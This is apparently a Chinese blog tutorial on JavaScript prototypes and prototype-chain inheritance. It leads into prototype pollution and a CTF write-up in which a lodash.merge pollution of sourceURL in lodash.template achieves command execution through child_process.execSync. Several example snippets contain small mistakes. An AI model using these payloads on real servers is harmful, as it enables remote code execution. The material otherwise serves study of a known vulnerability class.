前言:js 和 ActionScript3 有些像。定义类都是以构造函数的方式来定义的。

prototype 和 proto 的定义。

function test() {
    this.conslog('111')
}

new test()

当然 ECS6 增加了 class 语法(其实只是一个语法糖罢了,跟 python 的列表推导式性质一样)

class Test {
    //用来初始化类(当然也可以调用父类的构造函数)
    constructor() {
        this.log = function (message) {
            console.log(message)
        }
    }
}

const myTest = new Test()
myTest.log('111')

但是这样其实有个问题,每当我们新建一个 Test 对象时,this.log = function就会调用一次, 其实意味着,每当我们创建一个新的 Test 实例时,都会创建一个新的 log 函数,这样多个实例每个都有自己的 log 函数副本,这样不仅会导致 内存滥用,还不易于 维护管理。这个时候就要使用(prototype)了。

class Test {
    constructor() {
        this.var = 1
    }
}

Test.prototype.log = function log() {
    console.log(this.var)
}

let test = new Test()
test.log()

prototype
原型对象:每个 JavaScript 函数都有一个 prototype 属性,指向一个对象,这个对象称为原型对象。当你使用 new 关键字从构造函数创建对象时,这些对象会从构造函数的原型对象继承属性和方法。

其实很好理解,其实就是一个类里面的其他方法 (因为这个类先初始化了,所以其他方法可以访问初始化定义的属性(变量)或方法(函数)。)

class Hip_hop {
    constructor(name) {
        this.name = name
    }

    say() {
        console.log(this.name)
    }
}

class Hip_hop_god extend Hip_hop {
    constructor(name,album) {
        this.album = album
        super(name)
    }

    rap() {
        console.log('${this.name}的${this.album}是一张神专')
    }
}

const Ye = new Hip_hop_god('Kanye_West','ye')
Ye.say()
Ye.rap()


//Kanye_West
//Kanye_West的ye是一张神专

现在有一个问题,我们能通过 prototype 来访问原型,但是无法继承由原型已经实例化的对象,所以要用到 proto 方法

一个 Foo 类实例化出来的 foo 对象,可以通过 foo.proto 属性来访问 Foo 类 的原型

foo.__proto__ = Foo.prototype => 对象.proto=构造器(构造函数).prototype

1715763047353

  1. prototypie 是一个类的属性,所有类对象在实例化的时候将会拥有 prototype 中的属性和方法
  2. proto 是每一个类所有的方法,指向这个对象所在类的 prototype 属性。

  • 小知识:类是定义,对象是实体,实例化是创建实体的过程。类提供了创建对象的详细蓝图,对象是这些蓝图的具体实现,实例化则是将类从理论转化为实际的机制。

javascript 的原型链继承

以一个简单的例子来看:

function Kanye_West() {
    this.name = 'kanye'
    this.album = 'College_Drop_out'
}

function Ye_West() {
    this.name = 'ye'
}

Ye_West.prototype = new Kanye_West()

let god = new Ye_West()
console.log(`god's name is ${god.name},his first album is ${god.album}`)

1715818302468

对于对象 Ye_West,在调用 Ye_West.album 的时候,实际上 JavaScript 引擎会进行如下操作:

  1. 在对象 Ye_West 中寻找 album
  2. 如果找不到,则在 Ye_West.proto 中寻找 album
  3. 如果仍然找不到,则继续在 Ye_West._proto_.proto 中寻找 album
  4. 依次寻找,直到找到 null 结束。比如,Object.prototype的__proto__就是null

原型链污染

这里一样的还是来一个例子。一个没有父类的类 test 的 test.__proto_ 是 Object, 即 test 是一个 Object 类的实例_

1715819378374

适用原型链污染的情况

  1. merge() 深度合并
  2. clone() 其实就是将待操作的对象 merge 到一个空对象中
function merge(target,source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key]) //递归调用
        } else {
            target[key] = source[key]
        }
    }
}

其实就是找能够控制数组(对象)的“键名”的操作来使用 __proto__

__核心操作__:target [key] = source [key],如果我们把 source 里面的一个键值对的键换成‘__proto__’

来个例子:
合并成功但是污染失败:
1715820752703

原因:首先要明确的一点是:我们要的效果是 a.__proto__.b = 2, 这样才能污染到 Object 层。

看图,很清晰的能明白,如果使用:let o2 = {a: 2,”__proto__”:{b: 1}}, 则效果是:o2[__proto__] = {b: 1},意思是 o2 的原型就是{b: 1}而不是 Object 了。
1715824762416

那就很简单了,JSON 解析的情况下,proto 会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历 o2 的时候会存在这个键。

1715827953810

例题:thejs 来看:

1715828137939
1715828142987
1715828153454

源码: https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

// ...
const lodash = require('lodash')
// ...

app.engine('ejs', function (filePath, options, callback) { 
// define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
//...

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

lodash 的 merge 有漏洞,根据以下构造 payload (记得把x-www-form-urlencoded改成json

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

Function 其实有点像 eval

{“__proto___”: {“ sourceURL “: “\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];}return global.process.mainModule.constructor._load(‘child_process’).execSync(‘whoami’)}\u000a//“}}

  • \u000a: 换行符,可以让代码另起一行重新开始运行。
  • for (var a in {}) {delete Object.prototype[a];} : 环境不隔离的情况删掉属性,现在单独靶机的情况没什么用了。
  • \u000a//: 为了把这个格式注释掉,只留下我们的 payload sourceURL + 'return ' + source
{"__proto__": {"sourceURL": "\u000areturn ()=>{for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a//"}}

//或者

{"__proto__": {"sourceURL": "\u000areturn ()=>{return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a//"}}

最后的最后

express 框架能够通过 Content-Type 来解析请求 Body

ps:express+ejs 相当于 flask + jinja2 , 洞一大堆。

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html